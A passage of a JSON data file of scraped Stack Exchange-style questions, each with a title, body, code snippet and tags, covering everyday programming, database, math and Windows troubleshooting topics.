colorbox"], "1875369": ["How do I move an OpenGL view between content views", "I
have a layout that is loaded in the Activity's onCreate(). I then add an extended
OpenGL view to the layout. On the activity's onConfigurationChanged() method I want
to load a new layout, and move the OpenGL view into it so I don't have to re-create
all of the textures/objects/etc. that is under it which takes a while. How would I
go about doing this properly?\n", "", "android layout opengl-es view content"],
"108621": ["How to change Post ID during import", "I'm importing posts from a
Joomla v1.5 site using http://wordpress.org/extend/plugins/joomla-15-importer/ (The
goal is to clone the site in WordPress then switch off Joomla)\nOn both sites the
permalink structure is /%category%/%post_id%-%postname%/ \nOf course, when I import
I am getting a different post ID in WordPress than existed in Joomla. \nCan I
change post ID manually in the DB after import? Aside from .htaccess file with a
huge number of rules (one per article!) is there another workaround for this issue?
Any comments/suggestions?\nThanks,\nAlastair.\n", "", "permalinks"], "2714748":
["Not able to copy or delete items form pen drive", "When I want to download any
file from Internet and try to transfer it to my pen Drive I'm unable to do so. Also
I'm not able to delete the files form the pen drive as well.\n", "", "windows-7"],
"5906238": ["Completeness of $(C[0,1],\\|\\cdot\\|_p)$", "For $p=2$, $
(C[0,1],\\|\\cdot\\|_{p})$ is not a complete metric space and its closure is
$L^{p}[0,1]$?\nI am curious as to whether this is true for all $p<\\infty$?\n", "",
"analysis reference-request functional-analysis"], "4948221": ["Easy MySQL
question:
query with a null value", "What am I doing wrong with this query? (Friday
afternoon brain freeze...)\nIn WordPress, I used a MySQL query to make an empty
custom field called \"description\" in all posts of a test database, and now I want
to add the value \"test\" to that field. (This is all in the process of teaching
myself how to write more complex queries.)\nBut I can't get this query to deal with
the fact that the field has no value. 'NULL' doesn't work (and it appears that or
IS NULL is what I should be using, according to other stackoverflow answers), and
'%' doesn't.\n\n", "UPDATE `wp_postmeta` SET `meta_value` = replace(meta_value, 'IS
NULL', 'test') WHERE `meta_key` LIKE 'description'\n", "mysql query null"],
"4391699": ["How to hide SQL username and passwords from Github if using
AppHarbor/Heroku to deploy?", "Basically, I push code to Github and then
AppHarbor/Heroku has a hook that builds from the latest commit.\nIf I the file
itself, AppHarbor/Heroku can't have the built application connect to the database
because it can only see what's commited.\nAny suggestions?\n", ".gitignore",
"heroku github web-config connection-string appharbor"], "5613481": ["Android
scrollable table", "How can I achieve to get this table scroll if content is too
big horizontal and vertical? \n\n", "<?xml version=\"1.0\" encoding=\"utf-8\"?>\
n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:orientation=\"vertical\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\">\n <ImageView
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n
android:id=\"@+id/banner\" />\n <TableLayout
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:id=\"@+id/myTableLayout\"\n
android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\">\n <TableRow\n
android:background=\"@drawable/standard\"\n
android:layout_width=\"fill_parent\"\n
android:layout_height=\"wrap_content\">\n <TextView
android:text=\"@string/rankColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/teamColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/matchesColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/winColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/drawColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/looseColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/winPercentColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:text=\"@string/pointsColumnHeader\"\n
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"/>\n <TextView
android:layout_margin=\"6sp\"\n
android:textColor=\"@color/black\"\n
android:id=\"@+id/demoTextView\"/>\n </TableRow>\n
</TableLayout>\n</LinearLayout>\n", "android layout"], "1162760": ["IE 6, 7 hover
works for all corners except right-bottom", "I want different menu items in
different corners having a simple hover effect. Following code is working. But only
right-bottom menu item is not giving proper effect in IE6 and IE7. Whats wrong?\
nHere is the fiddle.\nCSS:\n\nHTML:\n\n", ".d\n{\n height:50px;\n
width:50px;\n background-color:#b2b2b2;\n position:fixed !important;\n
*position: absolute;\n}\n\n.da {position:absolute;}\n\n#d1 {left:0; top:0;}\n#d2
{right:0; top:0;}\n#d3 {right:0; bottom:0;}\n#d4 {left:0; bottom:0;}\n\n#d1a
{bottom:0; right:0;}\n#d2a {bottom:0; left:0;}\n#d3a {top:0; left:0;}\n#d4a {top:0;
right:0;}\n\n#d1a:hover {right:-5px; bottom:-5px;}\n#d2a:hover {bottom:-5px; left:-
5px;}\n#d3a:hover {top:-5px; left:-5px;}\n#d4a:hover {top:-5px; right:-5px;}\n",
"html css internet-explorer-7 internet-explorer-6"], "4739121": ["Object reference
not set to an instance of an object - OracleDataReader", "trying to return data
using , getting \n\nCan anyone suggest what I am missing / done wrong?\nthanks\nT\
n\n", "OracleDataReader", "c# asp.net visual-studio-2010 oracle10g"], "5080723":
["android webservice", "I have one question regarding soap web service. I need to
pass some string values and one image to the the webservice from my Android
appication. I am using Ksoap2 client. I could pass string values. How I can pass
image? Can anybody please help me? \n", "", "android web-services webservice-
client ksoap2"], "1875368": ["Update with changing set value", "How can we write an
update sql statement that would update records and the 'set' value changes every
time?\nFor example:\nIf we have records like this\n\nI wish to update each
'SomeNumber' record so that 'CurCode' will be same as 'WhatCodeShouldBe'\nThanks
for any help!\n", "SomeNumber SomeV CurCode WhatCodeShouldBe\n200802754 432 B08
B09\n200802754 432 B08 B09\n200802754 432 B08 B09\n200808388 714 64B C00\n200804119
270 64B C00\n", "sql sql-update"], "107133": ["Macbook keyboard's ] n } keys are
cap locking", "I have replaced my MacBook keyboard twice and I continue to have the
same issue. When I press the ] n } key it just turns on Caps Lock. I really need
these keys to code. \nCan anyone help me with this?\nThanks\n", "", "keyboard
macbook"], "2744269": ["Scala methods ending in _=", "I seem to remember Scala
treating methods ending in specially, so something like this:\n\nshould call .
However, in 2.8.0 RC1, I get an error message:\n\nInterestingly, just trying to
call the method without parentheses fails as well:\n\nAm I misremembering something
which does actually exist or did I just invent it out of whole cloth?\n", "_=",
"scala scala-2.8"], "5615726": ["Finding the functions that describes a Viral
effect", "I can't seem to find a function that makes sense to me in this.\nEdit:\
nLets look at it like a party.\nSay there is a party in 4 weeks. 10 people are
going to the party. They each invite 10 others to the party. 50% of the people they
invite will attend the party. This results in 50 new attendees in the 1st week.
Each of those 50 invite 10 other people. Since 50% of the invites that go out are
accepted now 250 new people have accepted the invitation in the 2nd week. \nweek 0
= 10\nweek 1 = 50\nweek 2 = 250\nweek 3 = 1,250\nweek 4 = 6,250\nTotal people who
will be attending = 7,810\nI'd like to be able to find out two things.\n\nHow many
new people are invited in any given week.\nHow many total people are invited by the
time of any given week.\n\n", "", "calculus functions"], "2931603": ["Python pandas
insert long integer", "I'm trying to insert long integers in a Pandas Dataframe \n\
nBut when I look in the dataframe, last values which are long are now negative :\n\
n uid score\n0 6311132704823138710 273\n1
2685045978526272070 23\n2 8921811264899370420 45\n3 -1427056828720020936
270\n4 -8516636646409950606 273\n\nuids are 64 bits unsigned int, so 'u8' should
be the correct dtype ? Any ideas ?\n", "import numpy as np\nfrom pandas import
DataFrame\n\ndata_scores = [(6311132704823138710, 273), (2685045978526272070, 23),
(8921811264899370420, 45), (17019687244989530680L, 270), (9930107427299601010L,
273)]\ndtype = [('uid', 'u8'), ('score', 'u8')]\ndata =
np.zeros((len(data_scores),),dtype=dtype)\ndata[:] = data_scores\ndf_crawls =
DataFrame(data)\nprint df_crawls.head()\n", "python numpy pandas"], "5825020":
["Recommended Agile / Lean Conferences in the US", "One benefit of conferences is
getting an overview / feel for a topic and catching up on trends with little
effort.\nI want to learn more about agile and may have the opportunity to have a
trip sponsored by my employer this year and was looking for any recommendations on
conferences with an Agile/Lean focus in the US coming up in 2012.\nWhat Agile /
Lean focused conferences can you recommend in the US?\nUPDATE: Bounty Offered\nAlso
Please share any description of the conferences if you have been to a previous
one:\n- What are the focus(es)\n- Who is the target audience\n- Tips to fully enjoy
the conference\n- etc.\n", "", "learning agile conferences lean"], "3046354": ["How
to grep on source code without catching comments", "I search a way to grep on
source code without having sometimes false-positive because of comments. For
instance if I search on foo on this .c source code :\n\nA naive will find 3
occurrences where I want only one. I have seen this way to do it on StackOverflow,
but it does not fill my needs : PHP is not available on the platform. I have also
found this way for one-line comments, but it only solves a part of my problem.\nI
need to use classical scripting tools (awk, sed, bash, grep, etc) and I need it to
be fast even if there are thousands of files. \nDo you now if and how it's possible
to grep on source code, and only source code ? \n", "/* \n * foo has changed [...]
and is now a 2-parameters function\n */\n// foo(24)\nfoo(42, 28);\n", "files grep
source"], "4035727": ["Downgrading Module or Downgrading to perl 5.10 on Ubuntu
12.04", "I have a requirement
to have Storable module version 2.07 instead of latest 2.08 version installed in
perl. I tried installing from backpan repository and it seems to install fine,
however when script runs it still displays 2.08 version. Which makes me think that
it is not picking the older version. I also think that perl 5.14 thats installed
with Ubuntu comes with the latest Storable module (2.08) and I don't really know
how to uninstall core module, if it is one.\nSo the other route I thought to take
was to just downgrade the whole of perl to 5.10. That also seems to be not an easy
option because Ubuntu 12.04 doesn't have it in the repository. \nAny ideas how I
can either downgrade perl or use older version of Storable successfully after
installing from backpan.perl.org?\nThanks\nAlex\n", "", "perl ubuntu-12.04"],
"108623": ["clearing information from registry", "\nPossible Duplicate:\nWindows
registry and system cleaner applications ? \n\nI have uninstalled a software,but
more over i want to clear all registry's information about that specific software;\
nIs it possible?\n", "", "windows-registry"], "4805930": ["jQuery Validator - How
to validate against non-form items?", "I have a form where a user can keep adding
items to a list. When they go to submit this page, I want to validate that this
list actually has items in it (not the individual items as they've already been
validated). Each item gets added to a new row in a table with the TR having an
extra attribute of \"action\"... so it looks like: \n\nWhat I was attempting to do
is add a custom addMethod that called a function which would count the number of
rows with action as an attribute:\n\nand if that length is greater than 0, it
returns true, otherwise, false.\nThis works fine outside of the validator calls but
for some reason it completely skips over it.\nI could really use an example or some
insight into how to make it validate this rule even though it is not a form element
specifically.\nScaled down code:\n*note that I already have defaults being setup
for messages and what not.\n\n", "<tr action=\"whatever\">...</tr>\n", "jquery
jquery-validate validator"], "2767672": ["How to display all tables in PostgreSql
while having two schemes in db?", "There are 2 schemes in . I need to display names
of all tables in . How to do that?\n", "my_db", "postgresql"], "4070902":
["NSUserdefaults works on Simulator but not on Device", "I would like to save an
to . If I do it on Simulator everything works, if I do it on Device, it doesnt
work.\n\nI am using the above code.\n is a normal , like ... \nDaten & Kosten are
Mutable Arrays, to work with.\nEverything works on simulator, but on device it
doesnt work...\nDoes anybody have an idea?\n", "NSArray", "xcode nsmutablearray
nsarray nsuserdefaults"], "3492481": ["How can I fetch the next level of the
currently selected main menu (hierarchical menu)?", "I have the following structure
(defined at Appearance > Menu):\n\nfoo\n\nfii\nfaa\nfee\n\nbar\n\nboo\nbee\nbii\n\
n\nNow, in my theme I have one horizontal menu that shall always display \nfoo |
bar\nBelow that, there's another horizontal menu which, when foo is clicked, should
display:\nfii | faa | fee\nWhen bar is clicked, that same menu shall display:\nboo
| bee | bii\nOnly the sub-menus of the currently selected main menu (foo/bar) shall
be displayed.\nHow can this be achieved?\n", "", "themes menus"], "5951042":
["Shell script string search where '#' is not in 1st character position", "this
string search was provided by Paul.R (much appreciated Paul): \n** find dir -type
f -print0 | xargs -0 grep -F -f strings.txt ** \nNote, I am using the above search
argument to perform a recursive directory search for hard coded path names within
shell scripts. However, due to the limitations of the Unix environment (TRU64) I
am unable to use the GREP -r switch to perform my directory search. Hence the use
of the solution provided above.\nAs an additional criteria, I would like to extend
this search argument to exclude any text where the first leading character of the
string being searched is \"#\" (comment symbol). \nWould appreciate any feedback.\
nThanks...Evan\n", "", "shell find grep xargs"], "5114176": ["JavaScript Date and
browser version function", "I can't seem to get this code working. Im trying to
make it so that if the browser is IE6 or lower it will use \"horarios2.png\" for
the img src and no other. And if its any other browser that it will check the
weekday(0-6) so that it will fill in the specific image for each day. From
Monday(1) to Wensday(3) the image is suposed to be \"quarta.png\". The other day's
have their own image. They work seperatly but when I try and put them together I
get in trouble and it dosen't render the image.\nScript\n\nHTML\n\n", "$
(document).ready (function horario () {\nvar date = new Date();\nvar weekday =
(date.getDay());\n\nfunction (msieversion) {\nvar ua = window.navigator.userAgent\
nvar msie = ua.indexOf ( \"MSIE \" )\n\nif ( msie > 0 )\n return parseInt
(ua.substring (msie+5, ua.indexOf (\".\", msie )))\nelse\n return 0\n}\nif
((msieversion() == 0 )&&(weekday==0)) {\n
document.getElementById('horarios').src = \"img/domingo.png\";}\nelse if
((msieversion() == 0 )&&(weekday==4)) {\n
document.getElementById('horarios').src = \"img/quinta.png\";}\nelse if
((msieversion() == 0 )&&(weekday==5)) {\n
document.getElementById('horarios').src = \"img/sexta.png\";}\nelse if
((msieversion() == 0 )&&(weekday==6)) {\n
document.getElementById('horarios').src = \"img/sabado.png\";}\nelse
if((msieversion() <= 6 )&&(weekday>=0)) {\n
document.getElementById('horarios').src = \"img/horarios2.png\";}\nelse {\n
document.getElementById('horarios').src = \"img/quarta.png\";}\n});\n", "javascript
html date browser-detection"], "3502297": ["Why is \"h\" used for entropy?", "Why
is the letter \"h\" (or \"H\") used to denote entropy in information theory,
ergodic theory, and physics (and possibly other places)?\nEdit: I'm looking for an
explanation of the original use of \"H\". As Ilmari Karonen points out, Shannon got
\"H\" from Boltzmann's H-theorem. So (assuming Boltzmann actually used \"H\"), the
original use is at least as early as that.\n", "", "notation math-history
information-theory ergodic-theory"], "2453144": ["Downloading response from
WebResponse - images included?", "I'm trying to download HTML so I can parse it
using the minimum bandwidth to download. This is a bit of my code.\n\nCan someone
confirm that retrieving the response only provides the text response, and no images
are downloaded as well? What about when loading it with the HTMLAgilityPack
method?\n", "if (!String.IsNullOrEmpty(siteAddress))\n webReq =
WebRequest.Create(siteAddress)\n\n WebResponse webRes =
webReq.GetResponse();\n\n Stream streamResponse =
webRes.GetResponseStream();\n StreamReader streamRead = new
StreamReader(streamResponse);\n StringReader sr = new
StringReader(streamRead.ReadToEnd().Trim());\n\n
streamResponse.Close();\n streamRead.Close(); \n
webRes.Close();\n\n HtmlAgilityPack.HtmlDocument hDoc = new
HtmlAgilityPack.HtmlDocument();\n hDoc.Load(sr);\n", ".net html
html-agility-pack bandwidth webresponse"], "5207276": ["camera as the background",
"I've ran into a couple of problems when trying to use notebook webcam preview in
app.\nI'm trying hard to use the camera as the background for 3D models in Xaml. \
nLet me put it that way:\n- XAML is the top layer, that holds all necessary
controls like buttons, text and so on;\n- DirectX is the layer that renders all the
stuff behind Xaml\nYou can show the preview from camera using Xaml and .NET .
Unfortunately, the preview shows on top of DirectX layer, covering all the 3D
objects (which is unexpected behaviour). \nWhat I'm trying to find is a workaround
for that problem.\nThere is a way of making Xaml-DirectX-Xaml layer order using
SurfaceImageSource, but it takes a lot of effort and low-level programming. \nHope
you might help me find the solution for that particular problem.\n", "", "c#
background camera directx sharpdx"], "3246031": ["Triple Monitor Stand
Recommendations", "I've got two Acer X233Hbid 23\" Widescreen LCD Monitors from new
egg back last summer, each weigh 10.5lbs a piece\nI want to buy a third Acer 23\"
(closest I've found is the X235 on Newegg, weighs in at 11.5 lbs), one of the new
ATI video cards that will output to 3 displays, and then a monitor stand that will
let me use them in portrait mode like the image below.\n\nI found the following:
$260 - ERGOTRON 33-323-200 DS100 Triple-Monitor Desk Stand \nand was wondering if
anyone has any experience with this kind of setup and whether it would work for me
or not...\n", "", "multiple-monitors portrait"], "3450075": ["syntax for trigger
before insert", "Ok, so I see that this the wrong approach:\n\nThe has should be
populated with a trigger? \nOk, as root I made a trigger as so:\n\nHowever, that's
just dummy data. How can I make that trigger actually create the hash?\n", "mysql>
\nmysql> show tables;\n+---------------------+\n| Tables_in_nntp |\
n+---------------------+\n| articles |\n| newsgroups |\n|
newsgroups_articles |\n+---------------------+\n3 rows in set (0.00 sec)\n\nmysql>
describe newsgroups;\n+-----------+----------+------+-----+---------
+----------------+\n| Field | Type | Null | Key | Default | Extra
|\n+-----------+----------+------+-----+---------+----------------+\n| id |
int(11) | NO | PRI | NULL | auto_increment |\n| newsgroup | longtext | NO |
| NULL | |\n+-----------+----------+------+-----+---------
+----------------+\n2 rows in set (0.00 sec)\n\nmysql> show create table
newsgroups;\n+------------
+----------------------------------------------------------------------------------
-----------
-----------------------------------------------------------------------------------
---+\n| Table | Create Table
|\n+------------
+----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
--------------+\n| newsgroups | CREATE TABLE `newsgroups` (\n `id` int(11) NOT
NULL AUTO_INCREMENT,\n `newsgroup` longtext NOT NULL,\n PRIMARY KEY (`id`)\n)
ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1 |\n+------------
+----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
--------------+\n1 row in set (0.00 sec)\n\nmysql> ALTER TABLE newsgroups ADD
UNIQUE (newsgroup);\nERROR 1170 (42000): BLOB/TEXT column 'newsgroup' used in key
specification without a key length\nmysql> \n", "mysql triggers schema constraints
mysql-error-1170"], "5042077": ["Filename too long - IMPOSSIBLE to
delete/move/rename", "I can`t delete a folder because it has LOTS of folders inside
it. Believe me, it is really lots.\n\nThe path is even longer...\nI have tried
several ways for deleting it: \"Unlocker Tool\", \"rd /s\" in Command
Prompt, \"subst x: e:\\backups\\john\" in Command Prompt, no one was effective.\
nIt's IMPOSSIBLE to rename/move files.\nI don't want to break up anything, so
please think through your answer.\nHow can I get rid of it?\n", "(E:\\Backups\\
john\\Users\\john\\AppData\\Local\\Google\\Chrome\\USERDA~1\\Default\\PLUGIN~1\\
GOOGLE~1\\MAILGO~1.COM\\HTTPS_~1\\
GOOGLE~1\\41\\67\\34\\0\\69\\24\\78\\58\\62\\64\\5\\45\\81\\27\\61\\91\\95\\42\\27\
\36\\91\\4\\2\\53\\92\\82\\21\\16\\18\\95\\47\\26\\71\\38\\69\\12\\67\\99\\35\\94)"
, "windows-7 delete long-filenames"], "4386827": ["Named List To/From Data.Frame",
"I'm looking for a quick way to get back and forth between a list of the following
format:\n\nto/from a data.frame of the following format:\n\n(Don't really care what
the names of the columns are, in this case.)\nHere's the data frame used above in
R-format:\n\nAgain, I'm looking for two separate operations: one to convert the
above data.frame to a list, and another to convert it back to a data.frame.\n",
"$`a`\n [1] 1 2 3\n$`b`\n [1] 4 5 6\n", "r data.frame"], "5902725": ["overload ==
(and != , of course) operator, can I bypass == to determine whether the object is
null", "when I try to overload operator == and != in C#, and override Equal as
recommended, I found I have no way to distinguish a normal object and null. For
example, I defined a class Complex.\n\nBut when I want to use\n\nWhen temp is
really null, some exception happens. And I can't use == to determine whether the
lhs is null, which will cause infinite loop.\nWhat should I do in this situation.\
nOne way I can think of is to us some thing like Class.Equal(object, object) (if it
exists) to bypass the == when I do the check.\nWhat is the normal way to solve the
problem?\nThank you.\n", "public static bool operator ==(Complex lhs, Complex rhs)\
n{\n return lhs.Equals(rhs);\n}\n\npublic static bool operator !=(Complex lhs,
Complex rhs)\n{\n return !lhs.Equals(rhs);\n}\n\npublic override bool
Equals(object obj)\n{\n if (obj is Complex)\n {\n return
(((Complex)obj).Real == this.Real &&\n ((Complex)obj).Imaginary
== this.Imaginary);\n }\n else\n {\n return false;\n }\n}\n",
"c# operator-overloading"], "5147347": ["Facebook JS SDK FB.logout() doesn't
terminate user session", "I'm attempting to log a user out of facebook with the
Facebook JS SDK, however calling:\n\nreturns:\nresponse.status == \"connected\"\
nAnd only after refreshing the page does the SDK realize that the session has
ended. Anyone know what could be causing this behavior? This code previously worked
in my application and has recently started behaving this way.\nAnother example
using FireBug:\n\n", "FB.logout(function(response){\n console.log(response);\
n});\n", "javascript facebook facebook-connect facebook-javascript-sdk"],
"5147471": ["How do I get the default check box images?", "I'm trying to build an
owner-drawn check box using CButton, but since I only want to change the text
color, I'd like the check-box marks to remain the same. \nIs there a command that
allows me to retrieve the default check box bitmaps for the platform where the
program is running? \n(alternatively: how could I change only the text color,
preserving the check box marks?)\n", "", "c++ mfc checkbox cbutton"], "3141640":
["Best way to provide a \"tooltip tour\"", "What is the best way to provide a quick
tour of a webapp using contextual tooltips?\nUse case:\n\nuser navigates to the
webapp\nsome form of popup asking if the user wants a guided tour of the interface\
nuser can click next on each tooltip to be shown the next one\nuser can cancel the
tour at any time by clicking some kind of exit X or button\n\nIs there an easy
library out there that does this?\nThanks!\n", "", "javascript tooltip jquery-
tooltip"], "1798169": ["Storing a large number of images", "I'm thinking about
developing my own PHP based gallery for storing lots of pictures, maybe in the tens
of thousands.\nAt the database I'll point to the url of the image, but here's the
problem: I know is impractical to have all of them sitting at the same directory in
the server as it would slow access to a crawl, so, how would you store all of them?
Some kind of tree based on the name of the jpeg/png?\nWhat rules to partition the
images would you recommend me?\n(It will focused for using in cheapo dot coms, so
no mangling with the server is possible)\n", "", "image tree filesystems"],
"5189825": ["heroku/cedar javascript not working", "Somehow can't get javascript to
run:\nAm trying to use rails 3.2.2, Heroku, Cedar stack. The application works fine
locally, and seems to be deploying fine to Heroku, but the javascript refuses to
run. this thread seemed to cover a similar question but without a good solution in
the end so thought i'd try again\njavascript not running on heroku with rails 3.1\
nI've stripped down my javascript to the bare minimum as shown below. While i
didn't show the heroku deploy log it looks fine (precompile goes through etc.). The
minimum javascript i left in does two things: put out an alert when enter is
pressed on a form (wanted to test that all javascript and not just jQuery-UI wasn't
working) and the other two functions support jQuery-UI\nthe asset pipeline
compilation process looks fine, i.e. my js/css is available in the browser html
link, i've looked through firebug and nothing seems to happen when i try to trigger
the javascript (although am not an expert firebug user...)\nany ideas? \nthanks!\
nGem file:\n source 'https://rubygems.org'\n\napplication.css\n\napplication.js\
n\napplication.html.erb:\n\nheroku logs\n\n", "gem 'rails', '3.2.2'\n\ngem \"pg\" \
n\ngroup :assets do\n gem 'sass-rails', '~> 3.2.3'\n gem 'coffee-rails', '~>
3.2.1'\n gem 'uglifier', '>= 1.0.3'\nend\n\ngem 'jquery-rails'\ngem 'devise'\n\
ngem 'gravatar_image_tag', '1.0.0.pre2'\ngem 'will_paginate'\ngem 'omniauth'\ngem
'omniauth-facebook'\ngem 'fb_graph'\ngem 'carrierwave'\ngem 'fog'\ngem
'mini_magick'\ngem 'aws-s3', :require => 'aws/s3'\ngem \"nested_form\", :git =>
'https://github.com/ryanb/nested_form.git'\n\ngroup :development do\n gem 'rspec-
rails', '2.6.1'\n gem 'annotate', '2.4.0'\n gem 'faker', '0.3.1'\nend\n\
ngroup :test do\n gem 'rspec-rails', '2.6.1'\n gem 'webrat', '0.7.1'\n gem
'spork', '0.9.0.rc8'\n gem 'factory_girl_rails', '1.0'\nend\n\ngroup :production
do\nend\n", "javascript ruby-on-rails-3 heroku cedar"], "4454406": ["Why is
accelerometer:didAccelerate: deprecated in IOS5?", "The release of IOS5 has this
core function listed as deprecated. Does anyone know what will replace it? I'm
assuming that apple is not going to remove the accelerometer from iPhone 5.\n", "",
"accelerometer deprecated ios5"], "3445218": ["Is there a way to have a plugin
create a custom theme format?", "\nPossible Duplicate:\nHow do I add a new custom
post format? \n\nProgrammatically, I'm wanting to make a special affiliate offer
theme format (but via plugin) that lets one use any theme, but if they choose from
the post format on the right sidebar under \"Format\", it intercepts and uses the
custom format as specified from the plugin. That way, on most pages and posts they
can use their favorite theme, but when they choose to make a post that uses
the \"Offer\" format, it displays this content on the page visitor frontend
completely differently in my own affiliate offer HTML template.\nIs this possible
to do completely from within a plugin? If so, how would I get started?\n", "",
"plugin-development theme-development post-formats"], "5937582": ["Methodology of
understanding concepts or formulas", "For example, about the basic differential
Calculus, I'm doing it in the following way, and is it the good method ?\nI only
focus and try to obtain the fully understanding and intuitive sense of the most
basic and fundamental concepts or theorem, but for others things which could be
proved or just 'special case aspect' of the basic concepts, I only to referring
them when I use it, but not to try to understand or memorize.\nLike, The concepts
of Limits and Derivative and Theorem of Differentiability implies Continuity are
the three most fundamental stuffs. I'll put focus on that to fully understand why
it's true. \nBut for the rules, like $f'(x^n)=nx^{n-1}$, or sum rule, product rule,
quotient rule and so on, I only know they are proved from the basic concept of
derivative, i.e. $\\lim_{\\Delta x\\rightarrow 0}\\frac{f(x_0+\\Delta x)-f(x_0)}{\\
Delta
x}$. All the rules are from this basic concept. So I understand this basic concept
intuitively means we find the instantaneously changing rates with respect to $x$. \
nBut for the rules, like integer power differentiation, i.e. $f'(x^n)=nx^{n-1}$, I
cannot 'understand' it in the same way with that of basic concept of
derivative(instantaneously changing rates with respect to $x$). Only thing I know
is that it's proved from the definition of derivative. \nSo, is it enough for
mastering the rules ? Because for definition of derivative, I could still graph a
function, and to see the trending when $\\Delta x \\rightarrow 0$, the limit will
get the instantaneous changing rate at the point of $x_0$. But for the proved
rules, like $f'(x^n)=nx^{n-1}$, it's very hard to get the intuitively feeling in
the same way with the derivative.\n", "", "calculus limit self-learning"],
"5510970": ["recieving some errors when clicking submit button on my website", "\
nPossible Duplicate:\nmysql_fetch_array() expects parameter 1 to be resource,
boolean given in select\nWarning: mysql_fetch_* expects parameter 1 to be resource,
boolean given error \n\nHi I made a database that I'm trying to move to GoDaddy but
I keep getting errors! The error I am facing at the moment is: \n\nWarning:
mysql_query() expects parameter 2 to be resource, null given in
/home/content/07/9554407/html/index.php on line 95\nWarning: mysql_num_rows()
expects parameter 1 to be resource, null given in
/home/content/07/9554407/html/index.php on line 96\nWarning: mysql_num_rows()
expects parameter 1 to be resource, boolean given in
/home/content/07/9554407/html/includes/functions.php on line 44\nWarning:
mysql_num_rows() expects parameter 1 to be resource, boolean given in
/home/content/07/9554407/html/includes/functions.php on line 44\nWarning:
mysql_num_rows() expects parameter 1 to be resource, boolean given in
/home/content/07/9554407/html/includes/functions.php on line 44\nWarning:
mysql_num_rows() expects parameter 1 to be resource, boolean given in
/home/content/07/9554407/html/includes/functions.php on line 44\nWarning:
mysql_num_rows() expects parameter 1 to be resource, boolean given in
/home/content/07/9554407/html/includes/functions.php on line 44\nWarning:
mysql_query() expects parameter 2 to be resource, null given in
/home/content/07/9554407/html/index.php on line 113\n\ncode for functions.php \n\
ncode for index.php\n\n", " <?php\n\n function db_connect()\n {\
n$hostname=123123';\n$username='1231';\n$password='12312312'; \nreturn
mysql_connect($hostname,$username, $password);\n }\n\n\nfunction
buildDropDown($table, $pre_select)\n{ \n//Set a variable to return to the
createprofile.php page\n$link = db_connect(); \nif (!$link)\n{\n die('Could
not connect: ' . mysql_error());\n}\n\n$db_selected =
mysql_select_db(\"jvexperiment\",$link);\n$sql = \"SELECT value, property FROM \" .
$table;\n$result = mysql_query($sq1, $link);\n\n$dropdown = \"\\n\\t<select
name=\\\"\". $table . \"\\\">\";\n\n//Check what dropdown is being displayed\nwhile
($row = mysql_fetch_object($result))\n{\n $value = $row->value;\n $property =
$row->property;\n $selected = ($value == $pre_select)?\" selected\":\"\";\n\n
$dropdown .= \"\\n\\t\\t<option value=\\\"\". $value . \"\\\"\" .$selected. \">\".
$property . \"</option>\";\n}\n$dropdown .= \"\\n\\t</select>\\n\";\nreturn
$dropdown;\n }\n\n function displayAttribute($table, $num) {\n$link =
db_connect(); \n$sql = \"SELECT property FROM \" . $table . \" WHERE value = \" .
$num . \"\";\n$result = mysql_query($sq1);\nif(mysql_num_rows($result)){\n
$property = mysql_fetch_assoc($result,0,\"property\"); \n return $property;\
n}\n}\n?>\n", "php mysql godaddy"], "862985": ["Automatically switch to browse
results tab in navigation pane when searching", "Is there a way to have Word switch
the navigation pane from the Browse the headings in your document tab (my preferred
default) to the Browse the results from your current search tab when I type a value
in the search box and press enter?\n", "", "microsoft-word search microsoft-word-
2010"], "597811": ["SQL Server trigger - SET variable = column.value", "I'm trying
to create a trigger which is operating on table and logging , and operation to
the table \n\nHow can I send information from columns () from table into ?\nI've
tried:\n\nbut it reports:\n\nMsg 4104, Level 16, State 1, Procedure component_hist,
Line 22\n The multi-part identifier \"component.id\" could not be bound.\n\n",
"component", "sql sql-server-2008"], "1818952": ["How to call Binding function from
a method?", "I have a Slider Binded to the ScaleX of a Line, like the following
code:\n\nCode works fine. But if I move the ScaleTransform to a method, the Binding
is lost.\n\nWhy did the Binding fail if it's called to a separate method?\nThe two
codes are (to me) identical. Both contain four same, identical, \"things\": \na
Line, a ScaleTransform, a Binding, and a Slider. \nThe first code has all
4 \"things\" in a function. The second code has the Binding call from a separate
function. Both compiles without error: However, the Binding (between Line and
Slider) works OK on the first code, but not the second. I am trying get the second
code to work because I have many Line's and I don't want to repeat myself.\n", "/*
Graphics on Canvas */\nLine lR = new Line();\nlR.X1 = 0;\nlR.Y1 = 0;\nlR.X2 = 150;\
nlR.Y2 = 150;\nlR.Stroke = new SolidColorBrush(Colors.Blue);\nlR.StrokeThickness =
2;\n\n/* declare ScaleTransformation */\nScaleTransform lRSt = new
ScaleTransform();\nTransformGroup lRTran = new TransformGroup();\
nlRTran.Children.Add(lRSt);\nlR.RenderTransform = lRTran;\n\nBinding sliderRBind1 =
new Binding();\nsliderRBind1.Source = sliderR;\nsliderRBind1.Path = new
PropertyPath(\"Value\");\nBindingOperations.SetBinding(lRSt,
ScaleTransform.ScaleXProperty, sliderRBind1);\nBindingOperations.SetBinding(lRSt,
